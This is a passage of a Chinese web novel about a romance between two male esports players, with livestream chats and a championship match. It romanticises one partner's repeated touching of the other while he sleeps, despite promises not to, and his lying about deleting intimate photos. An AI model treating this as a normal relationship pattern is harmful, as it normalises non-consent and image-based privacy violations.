而且他明明知道,池一黎冷面如霜,但性格内敛沉稳,家庭优渥幸福,没经历过任何社会人情世故,被所有人捧在手心长大,所以十分注重感情,答应时经过深思熟虑,根本不会把分手挂到嘴上。 池一黎整个人都难受地不想动,而且明天晚上还要比赛,从来没有觉得这么委屈过。妈妈说谈恋爱就要顾忌对象的感受,爸爸说要理解和包容伴侣的需求,但是对象欺人太甚、贪得无厌,还屡教不改,不由得越想越委屈,表面的冷硬都维持不了,头一次情绪起伏这样剧烈,全程都一直不断地哭着掉眼泪。 牧绍碰一下,他就毫无威慑力地骂一句,换气时声音也在发抖:“……你特别、过分。” “对不起,宝贝池一黎。昨天是我太过分了,没有顾虑到你的感受。”牧绍涂完药,放开他腿侧的软肉,再把他的衣服放下来,捏了捏衣角诚恳认错。 池一黎抽噎道:“还…言而,无信。” 手下的触感过于细腻,二十三岁正是火气正旺的年龄,牧绍对池一黎这几句短短的话也起了反应,起身的动作一顿,僵直着身体单膝跪在他椅子旁边,又慢慢把那条腿也移到地上:“我会改正。” 过了半分钟,他伸手捧住池一黎掉下来的泪滴,哄道:“甜心宝贝,池三水,都是我的错,你不要因为我生气,不舒服就多骂骂我,或者打我一下。” 池一黎静静抽泣着平复自己的心情,没有接这句话,盯着桌上刻着自己名字的键盘,半晌,慢慢把身体窝进电竞椅里。 空间寂静下来。那双浅色的眸瞳眨了眨,像是被雨水打湿的碎玻璃。池一黎声音很低,如同在水里浸泡过,闷闷道:“……不想,理你。” “你不理我的话,我会死掉。”牧绍接话,他太清楚自己做过的事,数落着说道,“我简直太过分了。我言而无信、出尔反尔、得寸进尺,仗着你不会拒绝就为所欲为,天天在你睡着后开始动手动脚,你说不要的时候连哄带骗让你同意……最过分的是还骗你说自己已经把照片删掉,其实还有一个硬盘的备份,然后在手机上点进最近删除又悄悄把它恢复。” 一连串的罪行数落下来,完全不知道该拿他怎么办才好。池一黎垂眸看他,长长的睫毛在眼下投下一片淡淡的阴影,眼尾到耳畔都沾着消不掉的色彩。 真人远比照片要艳丽几分,牧绍因为他看向自己的目光感到愉悦,凑近了点继续说:“我这么过分,池三水,你每天都需要抽时间骂骂我,不然我再犯错怎么办?” “…回你房间。”池一黎不再掉眼泪,再一看他的行为,已经缓和的语调顿错一瞬,不满地冷下脸,开口时音节沙哑,宣布道:“……也暂时…不准、碰我。” 牧绍赖在池一黎房间里不走。 一米九的高挑男子如此耍赖,池一黎也拿他没什么办法,当他是空气,对着聊天界面按动鼠标,准备把堆积的消息处理掉。 直播间平台预定的是晚上八点半开播,韩城凌晨六点多在群里艾特他,说自己焦虑地熬了一整个大夜没睡着,打算睡一个死觉,池一黎播的话也顺便挂一下他直播间。 池一黎扣了一个1,庄路弥在下面秒回:【都下午三点多了,三点水你怎么现在才回?!】 池一黎随手打字回复:【刚起。】 世一上单整肃王(爹幸福爸随意):【……】 世一上单整肃王(爹幸福爸随意):【@世界第一公主上单守护者,我也想鲨了村长。】 世一上单整肃王(爹幸福爸随意)【日,韩狗我怎么感觉咱两属性互换了?把你这破名字改了!不准叫三点水公主!他是皇帝!他是皇帝!他是皇帝!】 世界第一公主上单守护者:【我他喵刚起来吃饭。不准看不起公主!庄路猴你个傻-逼-玩-意!】 尊贵的FMVP上单皇帝池一黎面无波澜,觉得队友也好烦,点击鼠标把聊天框关掉,点开了之前玩的小游戏。 牧绍在浴室解决完正常生理需求,咬着特意叮嘱不放青椒的披萨,问池一黎想吃什么。 池一黎实在是没什么胃口,窝在电竞椅里懒得动,被牧绍喂了两口就吃不下。但是很喜欢酒店套餐里赠的那杯橙色饮品,不是非常甜,喝起来凉凉的很润喉。 他叼着吸管吸了一口气泡果汁,点开一家三口的小群。 昨天晚上爸爸在群里发了一大堆话,池一黎一目十行地看完,把吃完饭又贴过来想抱住他的牧绍推开,很短地按键盘扣了一句1。 牧绍老实地搬了个凳子坐在他旁边,过了几秒,手又不经意间地往他的腰间环去。 电脑上三口之家的群聊消息声音响起,爸爸刷屏一样的发言一条跟着一条蹦出来。像是对着自己的聊天框全部打好了字,才一键勾选转发到这里。 〖查克拉水之国度(3)〗 活泼潮流男大:【?粒儿你怎么这么晚才回?】 活泼潮流男大:【热搜那小子怎么回事?那个木勺,他欺负你了?!还是他粉丝欺负你?!怎么不告诉爸爸妈妈,我去网上帮你骂他!爸爸可是有十个小号!】 活泼潮流男大:【马上比赛不要因为这些影响心情,你就算打的菜到掉眼泪,爸爸妈妈仍然是爱你的!】 活泼潮流男大:〖@三水大帝〗 AAA智慧领袖:【我儿子早就改昵称了,你没发现?】 活泼潮流男大:【………】 活泼潮流男大:【所以就是被他欺负了?!】 活泼潮流男大:【管他什么毛线神什么毛团帝,就说联盟唯一太皇太上正在等待他的觐见,还没过门就欺负我家宝贝,让我好好拷问一下那小子!】 活泼潮流男大:【总而言之,既然在一起了!比完赛你让他过来挨一下我的骂!】 牧绍看着屏幕上活泼潮流男大的发言,想象中池一黎中老年翻版的冷峻高大男人形象崩塌。 他磨磨蹭蹭地隔着卫衣环住池一黎的腰,见他盯着聊天记录,对自己的逾越行为没有什么反应,勾起唇贴过去搂住他,未经思考已经叫上理想中的称谓,期待地哄他:“甜心宝贝老婆,在被咱爸骂之前,你先骂骂我。” 他怀里的池一黎不想理他,抬起手打字。 三水(男朋友牧绍专属版):【嗯。】 他向父母告状:【他欺负我。】 第59章 那句话发出去后, 父母在群里秒速给他打了一个视频电话。 池一黎说不了太多话,接电话肯定会被爸爸一边嘲笑一边安慰。潮流男人虽然极其护犊子,但池一黎掉眼泪时同样比谁都要爱看乐子。 感觉对牧绍发完脾气都变得不像自己, 为了防止听到爸爸接下来可能会说的类似于‘欺负的好哇’这样的话,池一黎点击红色按钮挂断了电话。 活泼潮流男大:【被欺负到掉眼泪了吗?(雪貂哭哭JPG.)】 活泼潮流男大:【天哪孩他妈!】 活泼潮流男大:【诶呦我怎么没看到,实在太可恶了这位男朋友!怎么可以欺负我们家池一黎呢?!】 活泼潮流男大:【谴责!狠狠谴责!比完赛你把他领回家, 爸爸狠狠骂他!大大滴谴责!】 池一黎默默把聊天界面关上。 牧绍早已趁他看消息的时间将整个人都贴过来。胳膊穿过电竞椅扶手下的空隙,似乎完全不觉得中间的椅臂硌人,凑到他耳边带着笑意问道:“宝贝儿池一黎, 你要带我回家吗?” 池一黎点开小游戏, 腔调还是哑的:“我还在…生你气。” 牧绍压低声音说:“对不起,但是池一黎太诱人了,我完全忍不住。” “你的哪里我都很喜欢, 这其中最喜欢这里。”牧绍语调很轻,环住他的那只手上移,直到轻轻放到他左胸口处,“它摸起来很柔软, 里面还有一颗更加柔软的心。” “我明明这样过分, 怎么连骂我都软绵绵,你怎么这样心软。” 牧绍的手只碰到卫衣, 触感太轻,什么也感受不到, 被他一点一点隔着衣服探过来搂住,身体也没有产生过多的应激。 池一黎刚刚已经把脑海里自认为所有过分的骂人词汇都说出去,完全不觉得自己对他心软留情。 难道牧绍续喜欢被人讨厌的癖好后,现在又觉醒了一个喜欢被人骂的癖好?池一黎呼吸起伏一瞬,沉默了一下:“牧绍…你有病?” 上一次池一黎说他有病还是在七个月前。 前段时间翻照片的时候才怀念过, 好像只经过一瞬间,眨眼现在池一黎人就到他的怀里,会说喜欢他,还任由他亲。牧绍想着想着翘起嘴角,把脑袋放在他肩膀处蹭了蹭。 “嗯,我就是有病。”牧绍微收手臂搂紧他,再一次说,“和你分开的话,我会立刻因为没有吃一粒药丸而死掉。” “你再说一遍,骂我的话我也喜欢听。” 感觉不管怎么样牧绍都有自己的一套逻辑,池一黎闭上嘴巴,继续玩不用动脑子的弱智小游戏。 不想理人,加上嗓子也不舒服,一直到直播开始他都没怎么说话。晚饭时也不怎么想吃东西,还是只喝了一杯套餐自带的微甜气泡水。 牧绍一番话下来没有得到准确的答案,还惹得池一黎看起来更不开心。又是查百度问‘热恋期对象因为自己太过分闹脾气该怎么哄’,又是寻求可靠的亲友团一起帮助研讨攻略书籍。 从松闵对于兄弟这三天的情感波折事迹只评价出了三个点,干脆把HWD那些人也都拉进群里。 世界第一公主上单守护者:【所以?三水前天因为你让他穿女仆装所以九小时没理你,你把他哄好后昨天理了,今天又不理你了?】 世界第一公主上单守护者:【村长你他爹干什么了?!!!】 射手跟我我是辅助:【他穿了?】 牧绍十分低调,只打了一个句号回复。表示肯定,意思是已经穿完了。 世一上单整肃王(爹幸福爸随意):【女仆装是什么样子的,长款还是短款?我觉得三点水适合长裙!比如上次全明星那个粉丝投票,拿起扫把就是洁癖女仆,拿个刀就是战斗女仆!】 世一上单整肃王(爹幸福爸随意):【分享图片x2】 半秒不到,庄路弥又改了一个昵称在群里发消息。 世一上单整肃王(爹爸幸福版):【爸!我要看照片!】 韩城忍无可忍!韩城毅然大怒退群!韩城起身在电脑桌前来回踱步,韩城没忍住坐下给池一黎发消息。 世界第一公主上单守护者:【三水!我就说他就是欺负你脾气太好了!等一下我敲门,你让他开门!看我来给他打一段军体拳!】 世界第一公主上单守护者:【看我仆步撩裆!挡击绊腿!弹裆顶肘!外格横勾!哼哼哈嘿!】 池一黎打游戏的间隙扫到这句话,不知道韩城又在突然说些什么。但是本着多年队友情,切小屏随便点了一个符号回过去:【。】 韩城看着屏幕上那个小圆圈,和刚刚牧绍在群里发的符号一样一模一样,零点零一秒之后火速安静下来:【好吧!】 晚上八点半直播,粉丝照例提前守在直播间。以为今天还会是熟悉的傻狗队友代播,没有抱太大希望,在公屏热火朝天地闲聊。 【今天能不能梦一个双人直播T T】 【三天了村长哄好了吗我就想问。】 【貂不理人,貂好!人惹貂,人坏!】 【爸爸妈妈请和好(并手)】 【木勺不准欺负我萌冷酷冰山吃一粒!】 【结婚,哦不我是说爹爸…这两个词音调这样像,那结个婚也没啥啊,对吗爹爸,哦不我是说结婚……】 【这里是池三水单人直播间,请cp粉给唯粉一点活路。好吗?好的。】 一道清脆的声音响起,像是有人屈起手指弹了弹麦。 牧绍一连挂了四个直播间,懒散带笑开口道:“能听到?” 弹幕顷刻间刷屏似的占满了整个屏幕可视画面,一道帝王级别加粗闪光的红色弹幕悠悠飘过: 【好的,现在这里是神帝双人直播间了。】 牧绍看着窝在椅子上不让他抱的池一黎,带了点笑意说:“甜心宝贝池一黎生我气不说话,所以今天是单人直播。” “直播干什么…这还用问?”牧绍点进官网链接里的官方赛事直播间,“你们看你们的比赛啊,我要继续哄人。” 【一家人不说两家话,豹豹我知道你懂我要看什么!】 【有什么是我们做儿女的不能听的?!】 【妻子的管教丈夫的荣耀,妻子的容貌丈夫的骄傲,妻子的贤惠丈夫的恩惠,妻子的冷落…这个不可以,丈夫要落泪。】 【今夜,我是为玫瑰爱情彻夜站岗的保安。】 【联盟第一神帝,有福同享,有男同当!】 【爸,哄三天了还没好吗?我妈池三水为什么不理你?】 牧绍戳戳池一黎的腰,后者缩了缩身体,抱着笔记本看另一侧电脑屏幕,握着笔声音又低又闷:“…不准、碰我。” 【这个哭包冰山妹不让人碰,这个冰山妹怎么这样!】 【太过分噜太过分噜!怎么这么软完全是甜心宝贝T T,本好玩姐认可你起的昵称了!】 【这不强吻?!这不强吻?!这不强吻?!】 【什么?!吾皇说勿近其身?!护驾!护驾!看本御前带指甲刀侍卫朝着乡野村夫木寸长就是一个突袭!】 【也没人告诉我说三水谈恋爱后是这样的啊!可恶啊我好季度(扭曲)(阴暗)(爬行)】 池一黎越是这样,牧绍就越想去逗他。 他下午打了一会儿游戏就觉得眼睛疼,哭的次数太多,眼眶一圈都是红的。把电脑熄屏,挪开键盘窝在牧绍怀里说自己难受,一句话落下就闭上眼睛假寐,听到什么都一点也不搭理,留牧绍一个人担心地疯狂在原地打转。 牧绍小心地把手抽出来,百度后拿了一条热毛巾,去泡了一杯决明子密蒙花茶,回来再想抱他,动作就全都被池一黎躲过去。 百度百科哄人第一招:对象闹脾气,实在不会说话就抱住TA,直到不生气了再松开手。但考虑到池一黎说自己不舒服,他也没有直接上手去搂。 于是他轻轻戳一戳。 戳第一下池一黎不动,第二下池一黎睁开眼睛看他,第三下的时候他抿起唇扭头看向另一边,第四下就开始把自己往电竞椅里缩。第五下像是被他烦的没办法,虽然冷着脸不说话,但还是伸出手乖乖捧着杯子把茶喝完,被他抱到床上睡到晚上吃饭。 醒来后就又恢复到这样不理人的状态。完全是闷闷地把自己蜷成一团等着人哄他的家养白鼬,像是接受程序指令的小机器人,碰一下就给一下回应。行为过于可爱,哪怕不理人也不会觉得在被冷落。 牧绍凑过去说:“不让我抱,那我亲亲你。” 【?爸你别告诉我你就是这样哄人的?我好像知道我妈为什么不理你了。】 【爹你出去别说你是我们ZKS的,伍哥精心营造的好男友战队名号被你付之一炬,他直接哭晕在地板上……】 【我单纯以为你只是对粉丝不客气,木勺咱们不会说话的话就不要说话了啊啊啊啊啊我看着都替你着急!】 【老公不准让他亲T T,让我来亲!】 一天的三次机会还有一次没用,牧绍就算真的亲上来,池一黎也不会拒绝。 他垂下眼帘看着手上翻开的笔记本,漆黑的碎发在眼前波动,握住黑色水性笔的指节微微用力,凸现出几分骨感。 牧绍勾住他身下的轮滑椅,一把拉到自己身前,握着椅臂一转,看到他烟灰色的眸瞳,尚且还带着几丝迷蒙的水色,整个人像是冬日里昏黄灯光下的一捧新雪。 雪人池一黎冷酷地说:“看比赛。” “我想抱着你,不然看不进去。”牧绍拖长腔调,预告说,“宝贝甜心老婆,我准备亲你了——我真的要亲你了——” 池一黎抬起眼皮瞪他。牧绍这个人太会耍无赖,就算有言语预警,行为也总是出乎意料,让人防不胜防,一不注意就被他从椅子上捞起来。 身体突然腾空,池一黎本能地伸手环住他的脖颈,牧绍的行动快速有力,等他回神过来,已经稳稳地横坐在后者的怀里。 牧绍单手隔着衣物紧紧扣住他的腰际,池一黎身量和他相差无几,体型却是精瘦款的,没有过多肌肉,很轻易就能被抱起来。但也并非单薄,不该少的地方一点也不少。此刻他坐在牧绍怀里,发达饱满的胸肌刚好正对着他的脸颊,因为环抱脖颈的动作而糊了满脸。 池一黎被衣料摩擦得有些发痒,忍不住松开环在牧绍脖颈上的手,稍稍向后仰了仰身子,试图拉开一点距离。 他把手搭在牧绍肩膀上将两个人的距离固定隔开,膝窝架在侧扶手上,动作间双腿受力自然晃动,黑色休闲裤将线条流畅的腿型勾勒出来,紧贴着的腿肉丰满柔软。牧绍上手捏了一下,怀里的身躯便瞬间敏感绷直,池一黎抿着唇垂眸看他,眼尾那一抹薄红愈发深了几分,牧绍把手放下来,开始熟练地装什么都没发生。 眼前只有柔软的浑圆,牧绍没得到许可没法用脑袋去蹭他,只能把另一只手也搭上来环住他的腰:“你怎么碰一下就要掉眼泪。” 池一黎低低开口:“…我没有掉眼泪。” 一掉眼泪冰块就会化掉。牧绍笑了一声,不想让其他人听到,把直播间麦关了。 【一个吃一粒直接拿捏】 【面瘫冰山x桀骜狂妄已正式更换人设为:爱哭鬼娇气包x幼稚鬼讨厌蛋。太太们你们快策马加鞭地写啊!我今晚就一直在绿白软件憋气到你们发饭为止!】 【这是什么?!小学生恋爱,磕一口!这是什么?!小学生恋爱,磕一口!】 【吃一粒三水牌小药丸使村长得意洋洋。】 中场闲聊环节,赛场上WGS队长柔和浅笑,说比完赛第一件事就是要去打一个眉钉。 “眉钉?”主持人看起来很是惊讶,看了眼他的副队。 “啊,就是他打。”队长笑着说,“我可不是非主流。” 染发烫头穿孔,鬼火少年非主流三大配置,WGS副队全部齐活。 如果说谁在粉圈桀骜不驯爱打钉子,牧绍、WQG打野和WGS副队在同人文里赫赫有名,没有一张同人图的脸上是干干净净什么也没有的。韩城虽然荣获联盟第一街溜子的称号,和他们相比也是个朴素的街溜子。 但是牧绍只是看起来吊儿郎当了点,气质顽劣不驯了点,最多幼稚过头,远远没有到叛逆的程度。 WGS副队啧了一声,耸肩说:“看我干什么?我放弃穿孔的可能性,可以堪比池三水说他要去打耳钉。” 【不要拿我家世界第一乖的冰块宝宝举例子啊我说!】 【不打耳钉可以穿乳-钉(暴言)】 【啊啊啊啊啊啊啊啊啊啊】 【村长!(暗示)联盟第一大奈冰山妹都被你泡到手了,(暗示)不误入歧途多可惜!!(暗示)(我知道你在看弹幕)】 【灵感大爆发!我画同人图!】 【我们吃一粒只是一只无辜可爱的小雪貂而已!我打出这行字的时候手都在发抖,SOS你们怎么可以这样!】 【妈妈我想看(大哭)爸爸我想看(歹毒爬行)求好玩的吃一粒真下海教程(大哭)】 【寒橙装露米你们在窥屏吗?(敲敲)HWD男模团请爆改(伸手)】 牧绍盯着弹幕,微微抬头看池一黎说:“我也想看。” 话说出口,不知道想到什么,他又把池一黎搂紧了点,话语拐了个弯:“我就想想,也不是真的想看。你这么敏感娇气的,穿孔那样疼得哭成什么样。” 池一黎笔尖一顿,慢慢眨了下眼睛,半晌下意识接话说:“你想看的话……” “你怎么又要答应我,”牧绍毫不犹豫地把脸埋到他胸口,轻轻蹭了蹭,几秒后抬起头,笑起来认真说:“不是还在生我气吗?那样的话太疼了,我在心里想想就好。” 池一黎沉默了片刻,目光落在牧绍的脸上,几分钟后微微侧过头,盯着电脑屏幕继续在本子上写写画画,笔尖在纸上划过的力道略微加重了几分。 常规赛老四WGS战队不出意外地拿下这场比赛退场。牧绍懒洋洋地把基本全程都没开麦克风的直播间关了,抱起他往床上一躺,打算就这样一起睡觉。 他把池一黎放下就起身去给床头的杯子接水,池一黎一个翻身,缩在被子里把牧绍和自己隔开。 牧绍回来时看到这一幕,忍俊不禁地举手发誓道:“我今晚什么都不干。” 池一黎闷闷“嗯”了一声。 牧绍把杯子放到床头,凑过去哄道:“宝贝池一黎,池三水,我就单纯抱着你睡觉,不然我睡不着。” 池一黎好像打定主意要和他分开睡,把头埋进被子里缩成一团,牧绍再怎么说都当没听到。 “那把睡衣一换?”牧绍也知道自己昨天做的太过分,最后妥协道,“池一黎,你骂我也好,打我也好,不要真的不理我。我原本以为自己可以接受,但实际上只要一想到这种可能性……我感到非常害怕。” 床上的白团子安静了几秒,伸出一只手给牧绍分了点被子。 搂着自己的躯体里熟悉的心跳在砰砰作响。池一黎很认真地抬眼看他,警告道:“…不准伸手,也不可以乱摸。” 牧绍安分地把手搭在睡衣上没有动,嘴角微扬着看他,示意自己很听话。 反正池一黎睡着后什么也不知道。答应过不能言而无信的话,不点头不应好就肯定不会出错。 第60章 赛事安排为半决赛和决赛之间预留了五天训练休整期。从季后赛淘汰阶段第四天开始算起, 一直到总决赛前一天晚上,整整八天牧绍都表现的好像很安分的样子。 池一黎坐在公共小厨房外的餐桌上陪他烤小蛋糕,拿着平板看ZKS上个赛季回放视频。代乐在群里艾特全体, 强调今天晚上所有人禁止熬夜、禁止通宵、必须早睡。 同样的意思用不同的话发了三遍,以此彰显这句话对于熬夜成瘾的网瘾少年的含金量,尤其是这群大罗金仙。 池一黎跟着扣了个1。 代乐秒速单独艾特池一黎, 让他把牧绍赶回自己房间。 一堆好玩的惹事精:【感情是对抗路的大忌。】 一堆好玩的惹事精:【大宝贝,(认真脸)电子竞技没有爱情(奋斗)】 一堆好玩的惹事精:【不然你们分手一天,明天比完赛再继续谈呢?】 池一黎对着最后一句话看了半天, 半晌慢慢打出一句:【?】 半决赛对阵WGQ战队, 记者赛后惯例采访MVP的时候,池一黎连话都说不了几句,没什么表情地站在那里, 当一个只会回答“嗯”的雕塑。 他冲锋衣的衣领被拉到最上方,眼尾像化妆了一样沾着脂色,大屏幕投映出接话筒时满是红痕的手腕,场馆里粉丝的尖叫声快要突破天际, 最后还是一旁的白书罗替他回完的全程。 下场时韩城跟在他后面, 沉痛地说:“我感觉到有些难受。” 庄路弥还没有回话,冯宙先一步震惊道:“你竟然还有这种情绪?!” “怎么没有。”韩城说, 比赛没法赢,还把主力嫁了过去, 他简直戴上痛苦面具,“我只是一想到明天ZKS的气氛,会是与我们截然不同的耀武扬威……” 虽然池一黎本身外表就冷,所有人也都习惯了他不怎么说话,但至少不会像现在一样是因为说不出话才不说话的吧! 池一黎淡然侧头瞥他一眼, 目光随即落到自己的腕骨上。他神色毫无波动,将手插进外套兜里“嗯”了一声,整个人气质沉稳而冷酷,迈步时仿佛自带隔绝屏障,完全没有被周围的氛围影响。 此冰山般的背影太过让人安心,韩城当即暗暗下定决心:看来守护联盟第一皇帝上单的计划,只能由我展开了! 于是现在,他紧接着代乐在群里发消息:【三水!电子竞技没有爱情!我支持你们分手啊!】 世一上单整肃王(爹爸幸福版):【什么no爱情?!需要我截图发给你对象吗?】 世界第一公主上单守护者:【……你不拆台会死吗庄路狗?叛徒!】 不愿意再看到这群傻狗队友,池一黎切屏回视频软件。 牧绍正在厨房里用隔热手套拿刚出炉的小蛋糕。晚上九点半,这一层楼外面就他和牧绍两个人。明天是总决赛,今天的训练下午五点结束,其他人基本都在房间里放松休息。 牧绍把手套放到一旁的架子上,端着蛋糕放在桌子上,把金属叉子递给他:“今天是——可爱的池一黎最喜欢的草莓蛋糕。” 池一黎把视线从视频上移开,伸手去接,牧绍却故意把叉子举起来,拿的离他更远了点。 他声音懒散,俯身过去问:“宝贝儿池三水,比完赛第一天要带我回家吗?” 比完赛不都会先各回各家,更何况两个人还不在一个城市。池一黎略微不解地看着他。 牧绍语气带了点笑意:“未来岳父不是说要谴责我,我不去的话怎么谴责。甜心宝贝池一黎,不敲打一下他们肯定也不会放心把你交给我。” “而且,我最近都很听话地什么也没做。”牧绍把叉子放到他手心,往他的方向推了推小蛋糕,低声哄道,“心软的池一黎,请不要再生我气。” 池一黎舀了一小块蛋糕,递到嘴边又停下来,垂眸开口说:“你明明……” 话还没有说完,牧绍突然毫无征兆地凑近。池一黎抬起眼,闻到他身上属于草莓的甜腻味道,还混杂着几分好闻的薄荷凉感。 两个人的距离近到好像下一秒就要亲上,呼吸间都带着彼此的气息。似乎随便一动就会接触到,池一黎捏住叉子的指节不自觉地微微用力,指腹泛白,眼眸里带着一丝不易察觉的紧绷。 牧绍的脸实在太近,黝黑的眸子像是深不见底的幽潭。他的目光停留在池一黎的唇瓣上,像是在用视线细细描绘他淡而柔润的唇色,又在半秒后迅速低头,一口将叉子上的小蛋糕叼进嘴里。 牧绍唇角微微扬起,带着几分促狭的笑意:“我吃一块,尝尝有没有多放糖。” 池一黎还保持着那样的动作看着他,手中地叉子悬在半空,烟灰色的眸瞳像是迷离灰雾中的远山,光线下泛着一丝银色的光泽。嘴唇渐渐地抿成一条直线。 牧绍笑意更深,嘴角勾起顽劣的弧度:“甜心宝贝老婆,你不会以为——”话音未落,他又一次忽然靠近,气息温热,还残留着小蛋糕的甜腻。 他的动作轻巧而果断,凑上去准确地撬开唇齿,完全是预谋已久地探入,几秒后松开了点,眸光还闪着得逞的神色,声线低低地继续说:“——我刚刚是要像这样亲你。” 这句话精准的踩到池一黎的心思,他纤长的睫毛微颤,拿着叉子思考了一会儿,认真地反驳道:“你就是要亲我。” 顿了下,没有等牧绍表示出什么反应,池一黎又把自己刚刚没说完的话补充完:“而且你明明……还在出尔反尔。” 牧绍每天晚上睡觉前,都会义正言辞地说自己单纯搂着他什么都不干,然后在池一黎点头同意后,心满意足地把他抱进怀里。 话虽然如此说,但池一黎每次早上起床穿衣服时,只要低头都会看到胸口处颜色痕迹不一的指痕。他的皮肤很薄,色调又太白,稍微一用力就能留下痕迹。旧的新的层层叠叠堆积在一起,在柔软的白团上过于明显,抬起头,牧绍又和什么都没干一样无辜地过来向他讨要早安吻。 痕迹虽然没有过分到像之前那样密密麻麻,但是这些天一直都没有消下去过。牧绍总是会在抱着他躺到床上的几十分钟后,装作不经意间地从腰侧摸过来。 那粒【】被他夹在【】里【】,再动作很轻地换着花样揉捏【】中的【】,像是在疑惑那里为什么会比其他地方更硬,每次都要捏很久才放手。 过轻的动作反而愈加难耐,哪怕已经睡着,池一黎还是会敏感到在刹那间清醒,身体下意识的反应完全掩盖不住。 可两个人在谈恋爱,搂搂抱抱是一件很正常的事情,牧绍又没有做什么其他过分的举动。次数多了已经形成习惯,池一黎觉得自己因为这点小事情就和他闹脾气的话,有点太不应该。 所以池一黎每次都会闭着眼睛等着他玩够,等到他把手抽出来安分地放在那里不再动作,才缓缓压下心底乱颤的余韵,把自己缩进他怀里,将意识坠入睡眠。 他只是在这里不满地提出来,只要牧绍道个歉就会翻篇过去。牧绍太清楚他心里是怎么样的想法,立刻滑跪着表态:“我有时候睡着后,的确有些控制不住自己的手。” 反正四周没有人,约法三章第二条自动作废。他坐过去把池一黎抱进怀里,环住腰,下一个动作不用进行任何思考,就已经开始用脑袋蹭他的脖颈,声音认真道:“但是,我忍不住不去做些更亲密的举动。就像现在这样,你就在我眼前真实的存在着,我如果不来抱住你的话、如果不去亲你……池一黎,我…无法想象。” 池一黎捏住叉子,低声说:“你可以不答应我。” 如果牧绍不主动提出来说自己只会单纯抱着他睡觉,其余什么也不干,而是像之前一天晚上那样钻语言漏洞,只说自己想抱着他睡。他就算真的做了什么,池一黎也不会多说一句话,最多是觉得他有些得寸进尺,然后快速地被哄好,毕竟牧绍又没有答应自己。 言语是一件需要被反复推敲后说出的隐形武器,不能实施却给出承诺是很可怕的事情。牧绍显然随心所欲地想到什么就说什么,直白而简略地表达自己的心意,诓骗时又不知道从哪里学来的一大堆诡异幼稚的逻辑。 可眼神里的情感不会参假,牧绍的眼神炽热而真挚,情感毫无保留地倾泻而出,像是两团燃烧的烈火,如同无形的锁链,形成实质一样将他层层包裹在内,只要落入他那双毫不掩饰渴望的灼热眼眸,所有的抗拒就都在他的注视下土崩瓦解,池一黎因此拿他一点也没有办法。 “我今天晚上绝对什么也不做的。”牧绍轻轻吻了吻他的唇角说,“明天要比赛,我还不会像那样没有分寸。” “我会回我房间睡。”牧绍退开一点,压低声音时目光紧紧盯在池一黎的脸上,眼底带着一丝期待,像是笃定他会答应,“那宝贝儿池一黎,后天可以带我回家吗?” 他前后不搭的转变过于突兀,池一黎微微怔了一秒,垂下眼眸说:“…我没有,想过不带你回去。” 牧绍闻言,眼底的笑意瞬间漾开,忍不住愉悦地再次亲上来,动作带着不容抗拒的压迫感。他将池一黎牢牢扣在怀里,迫使他微仰起头,一点一点地沿着唇线啃咬,等到被放开的那瞬间,气息都有些喘不均匀。 指节微微蜷缩,池一黎被抱在怀里,沉默了一会儿,像是经过了慎重思考,声音变得轻到几乎听不见:“比完赛,你想……” “——咚!” 一道声响打断了他的话,刚从走廊另一头的小厨房出来的韩城路过此地,咬着汉堡恰好看到这一幕,一个撤步,没注意到后方的障碍物,直直砸到墙上一头摔倒在地。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 韩城在总决赛的前一天晚上, 光荣地平地摔把自己摔伤了。 久坐不动身体素质会变差,宛如刚刚落地的脆皮鸭一碰就裂,但是并不严重。 教练让他伤好后自觉加训体能, 韩城看着自己被包成木乃伊的腿,被池一黎皱眉关心的视线一扫,苦哈哈地点头应下。 幸好没伤到手, 不至于总决赛还要安排替补上场。 ZKS战队今年的配置实在是所向披靡般的无懈可击。往年都会拉扯到3:2的赛事点,今年却只拿下刚开始的一局,就被对方连下三城夺得胜利。 牧绍太了解他, 英雄技能在他的帮助下替换更新, 不管做什么都会被准确的预判。而新加盟的云醒虽然在首局比赛中出现了失误,但他用那一整局的时间观察和试探,随后便展现出了完美的状态。 电脑界面上再次显示出失败的英文字样, 恍惚之间,场景好像和往年的每一次都没有任何区别。 池一黎面上没什么表情,静静坐在电竞椅上,听见场下粉丝恨铁不成钢的叹气和热火朝天的呼声, 虽然早就已经预料到今年会是这样的结果, 但感觉自己好像忍不住还是要掉眼泪。 这点微弱起伏的情绪完全可控,池一黎站起身, 看到屏幕上牧绍不知道在看什么的侧脸,下一秒反射性地转头, 对上他紧紧盯着自己的目光。 那双眼睛一动不动地凝视着他,似乎是在回忆刚刚的比赛,因为胜利而噙着轻笑,又带着点微妙的复杂。 比赛输了,HWD战队粉丝所属的半场空气仿佛凝固了一般。但选手席的沉默只持续了半秒, 四个队友几乎是同时转过身来,第一反应竟是不约而同地想要安慰他。 韩城在一旁严肃地强调是他的问题,四肢一体,可能伤到腿也顺便把手伤了,脑子连带着也一起坏了。 庄路弥义正言辞地赞同道是韩城的问题,因为自己脑子被韩城传染抽搐了所以才会频繁被抓。白书罗温和地拍拍他,意思是已经打完就不要再想。 冯宙扶了扶自己的黑框眼镜,点了下鼠标,有些别扭地开口:“虽然我对他们还是很不服气吧,但都是我们比较菜。尤其是韩城他们几个,你不要太难过。” 七年归来,池一黎还是不知道该怎么接话,看着屏幕半晌,只状似冷淡地浅浅“嗯”了一声。 赛后双方队员友好握手,牧绍站到他对面,盯着他看了几秒,在他微微泛红的眼尾停留一瞬,目光又坠到那颗浅痣,没忍住在台上凑过来很轻地亲了亲他。 台下的粉丝像一片沸腾的海洋,牧绍压低声音问:“哭了吗?宝贝儿池一黎,你要掉眼泪了吗?” 池一黎抬眼看他,耳畔韩城“狗贼你干什么”的声音传来,牧绍明显是特意来逗他,嘴角勾笑,坏心眼地屈起指节点了点他的眼尾。 输了就是输了,本身调理好的心情被牧绍这样点出来,顿时又有些控制不住。池一黎偏了下头,模样冷冰冰地拽住他的袖子,把他的手扯下来:“…你才要哭。” 池一黎的动作可以幻视雪貂甩尾巴,牧绍反手挤进他的指缝,笑起来说:“对不起。我很烦的话,那光讨厌我就好了。不要因为比赛不开心。” 池一黎想说本身就讨厌你,但是这句话到嘴边又说不出来。站在那里思考了半天怎么回复,心思转了一圈,最后还是觉得牧绍好讨厌。 他抿起唇,烦烦地止住眼泪开口:“没有不开心。” 眼看着这一握手就要握到猴年马月,场馆内的氛围有些变得此起彼伏,主持人连忙拿起话筒,走上来开始下一个阶段。 HWD五个人收拾完自带的设备下场,老梁、代乐和几个助理正在台下等着。 代乐让助理把键盘接过去,看着五个人说没关系。 